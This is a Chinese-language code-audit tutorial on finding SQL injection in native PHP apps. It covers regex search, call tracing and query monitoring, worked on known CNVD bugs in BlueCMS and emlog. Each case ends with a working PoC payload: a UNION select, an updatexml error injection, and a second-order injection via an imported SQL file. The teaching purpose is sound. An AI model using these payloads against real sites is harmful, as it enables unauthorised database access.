代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网

代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析

知识点

1、PHP审计-原生态开发-SQL注入&数据库语句监控
2、PHP审计-原生态开发-SQL注入&正则匹配搜索
3、PHP审计-原生态开发-SQL注入&功能追踪

代码审计分类:

1、原生态开发-代码审计源码案例
2、框架类开发-代码审计源码案例
3、组件类开发-代码审计源码案例
4、前端类开发-代码审计源码案例

简要点:

1、代码审计必备知识点:
环境搭建使用,工具插件安装使用,掌握各种漏洞原理及利用,代码开发类知识点。
2、代码审计开始前准备:
审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等。
3、代码审计挖掘漏洞根本:
可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞。

图片[1]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[2]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网

挖掘技巧:

数据库语句监控-数据库SQL监控排查可利用语句定向分析
功能追踪-功能点文件SQL执行代码函数调用链追踪
正则搜索-(update|select|insert|delete|).?where.=

如何快速的在多个文件代码里面找脆弱点:

1、看文件路径
2、看代码里面的变量(可控)
3、看变量前后的过滤

一、演示案例-PHP审计-原生开发-SQL注入-正则搜索

Bluecms-CNVD-1Day-常规注入审计分析

图片[3]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
审计流程:

(update|select|insert|delete|).?where.=
正则-ad_js.php->getone()->无过滤->有输出payload注入

图片[4]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
搜出来的有一百多个结果,不可能一个一个点进去看,就需要从文件路径、代码里的可控变量、变量前后是否有过滤来排个顺序
图片[5]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[6]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[7]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[8]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[9]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网

既然都没看到过滤,那就尝试调用

Poc:

ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

图片[10]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[11]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[12]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[13]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[14]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网

二、演示案例-PHP审计-原生开发-SQL注入-功能跟踪

emlog-CNVD-1Day-常规注入审计分析

https://www.cnvd.org.cn/flaw/show/CNVD-2018-26200
图片[15]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[16]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
审计流程:

comment.php->delCommentByIp($ip)->无过滤->构造触发

图片[17]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[18]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[19]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[20]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[21]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[22]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[23]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[24]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[25]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[26]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[27]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[28]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[29]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[30]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[31]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
Poc:

/admin/comment.php?action=delbyip&ip=’ and updatexml(1,concat(0x7e,(select user()),0x7e)) –+’&token=11f3f9cb7e78e3f88e39ea5678939b7d

图片[32]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网

三、演示案例-PHP审计-原生开发-SQL注入-数据库语句监控

emlog-CNVD-1Day-2次注入审计分析

https://www.cnvd.org.cn/flaw/show/CNVD-2023-65138

图片[33]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
审计流程:

数据库监控->user.php无可控->nickname->添加不可控->data.php可控->导出修改导入->触发二次注入
数据库监控项目:https://github.com/cw1997/MySQL-Monitor

图片[34]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[35]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[36]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[37]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[38]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[39]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[40]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[41]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网
图片[42]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网

Poc:

/admin/data.php
导入文件时执行SQL文件中语句,带入Payload
INSERT INTO emlog_user VALUES(‘110′,”,’$P$BnTaZnToynOoAVP6T/MiTsZc9ZAQNg.’,(select version()),’writer’,’n’,”,’123@qq.com ‘ , ”,”,’0′,’1687261845′,’1687261845’);

图片[43]-代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析-前端开发牛翰社区-编程开发-牛翰网

/admin/user.php
select查询nickname条件数据,访问触发二次注入

来源链接:https://www.cnblogs.com/loveqixin/p/18672918

请登录后发表评论

    没有回复内容